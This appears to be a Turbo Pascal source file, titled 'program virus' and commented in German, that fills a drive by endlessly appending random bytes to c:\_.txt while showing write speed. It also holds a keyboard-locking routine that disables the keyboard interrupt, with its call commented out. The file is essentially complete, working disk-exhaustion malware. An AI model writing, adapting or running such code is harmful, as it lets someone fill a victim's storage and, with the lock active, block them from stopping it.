148 lines
4.0 KiB
ObjectPascal
148 lines
4.0 KiB
ObjectPascal
program virus;
|
||
{WOZU?? M 1024,0,65536} { 1K Stack und max 64Kb Heap }
|
||
|
||
uses crt,dos;
|
||
|
||
var f:text;
|
||
writethis: string[250]; { String mit max. 250 Zeichen (string[1] nimmt z.B. weniger Speicher als string(=string[255]) ein) }
|
||
e:string;
|
||
b:string;
|
||
x:file of byte;
|
||
g:text;
|
||
s:integer;
|
||
d:integer;
|
||
a:longint;
|
||
z:text;
|
||
y:string;
|
||
st: longint; { Timer Startwert (millisekunden) }
|
||
bc: longint; { bytecount }
|
||
kbac: longint; { kB all count }
|
||
bps: real; { bytes per second }
|
||
ifs: longint; { initial file size }
|
||
|
||
procedure KeyboardDisable; forward; { Gibt an, daá die Prozedurdefinition erst sp„ter folgt. }
|
||
procedure SetOut(h,m,s,hu: longint; var jow: longint); forward; { So kann man dann eine Prozedur schon aufrufen, auch wenn sie}
|
||
procedure StartTimer; forward; { erst sp„ter im Quelltext definiert wird. }
|
||
function TimeGone: longint; forward; { Auáerdem: mehr šbersicht! }
|
||
procedure CreateString; forward;
|
||
procedure w; forward;
|
||
|
||
|
||
PROCEDURE KeyboardDisable; {locks keyboard}
|
||
BEGIN
|
||
Port[$21] := Port[$21] or 2;
|
||
END;
|
||
|
||
procedure SetOut(h,m,s,hu: longint; var jow: longint);
|
||
begin
|
||
jow := h*3600 + m*60 + s;
|
||
jow := jow * 100 + hu;
|
||
end;
|
||
|
||
procedure StartTimer;
|
||
var h,m,s,hu: word;
|
||
begin
|
||
GetTime(h,m,s,hu);
|
||
SetOut(h,m,s,hu,st);
|
||
end;
|
||
|
||
function TimeGone: longint;
|
||
var h,m,s,hu: word;
|
||
now: longint;
|
||
begin
|
||
GetTime(h,m,s,hu);
|
||
SetOut(h,m,s,hu,now);
|
||
TimeGone := now - st;
|
||
end;
|
||
|
||
procedure CreateString;
|
||
var i: integer;
|
||
begin
|
||
randomize;
|
||
writethis := ''; { String nullsetzen, weil sonst Speicherwirrwarr in ihm ist }
|
||
for i:=1 to 250 do begin
|
||
writethis := writethis + Chr(Random(256));
|
||
end;
|
||
end;
|
||
|
||
procedure w;
|
||
var i: integer;
|
||
begin;
|
||
{ An den 500 kannst Du rumspielen - das gibt an, wieviel Zeilen er pro
|
||
Durchlauf schreiben soll - 500 ist ein optimaler Wert }
|
||
|
||
for i:=1 to 500 do begin { F<>r i von 1 bis 500 mache ... }
|
||
write(f,writethis);
|
||
bc := bc + Length(writethis);
|
||
end;
|
||
end;
|
||
|
||
label 89;
|
||
|
||
begin;
|
||
{ keyboarddisable; }
|
||
TextBackground(0);
|
||
TextColor(7);
|
||
ClrScr;
|
||
StartTimer;
|
||
CreateString;
|
||
bc := 0; { Bytecount auf 0 }
|
||
kbac := 0; { kB-gesamtcounter auf 0 }
|
||
assign(f,'c:\_.txt');
|
||
assign(x,'c:\_.txt');
|
||
{$I-} { Ein-/Ausgabepr<70>fung abschalten }
|
||
Reset(f); { Versuchen, Datei zu ”ffnen }
|
||
if IOResult<>0 then Rewrite(f); { Wenn ein Fehler auftrat, dann Datei neu schreiben }
|
||
|
||
{ Dadurch wird die Datei einfach nur erweitert, falls schon 2MB existieren,
|
||
anstatt sie zu l”schen und neu zu schreiben. ;-) }
|
||
|
||
{$I+} { E/A-Test wieder AN }
|
||
reset(x);
|
||
ifs := FileSize(x);
|
||
close(x);
|
||
ifs := ifs div 1024;
|
||
repeat
|
||
append(f);
|
||
w;
|
||
if TimeGone>175 then begin
|
||
bps := bc / ( TimeGone / 100 );
|
||
GotoXY(1,1);
|
||
kbac := kbac + bc div 1024;
|
||
WriteLn('Zeit: ',TimeGone,' ms --- Geschrieben: ',bc,' Bytes');
|
||
WriteLn('Geschwindigkeit: ',bps:0:2,' Bytes/s = ',bps/1024:0:4,' kB/s = ',bps/(1024*1024):0:4,' MB/s');
|
||
Write('Geschrieben gesamt: ',kbac,' kB (DateigrӇe: ',ifs+kbac,' kB)');
|
||
bc := 0;
|
||
StartTimer;
|
||
end;
|
||
|
||
|
||
{ Textausgaben auf den Bildschirm ziehen ungemein an der Geschwindigkeit! }
|
||
|
||
(* writeln(f,'Die! ');
|
||
reset(f);
|
||
readln(f,e);
|
||
randomize;
|
||
s:=random(5);
|
||
d:=random(3);
|
||
textcolor(s);
|
||
textbackground(d);
|
||
clrscr;
|
||
window(20,10,40,20);
|
||
write(e);
|
||
close(f);
|
||
reset(x);
|
||
reset(f);
|
||
a:=filesize(x);
|
||
window(1,1,19,9);
|
||
gotoxy(1,1);
|
||
writeln(a,' bytes');
|
||
close(f);
|
||
close(x); *)
|
||
until keypressed; { Bis Tastendruck }
|
||
ReadKey; { Tastaturpuffer auslesen/leeren }
|
||
Close(f);
|
||
end.
|
||
|
||
|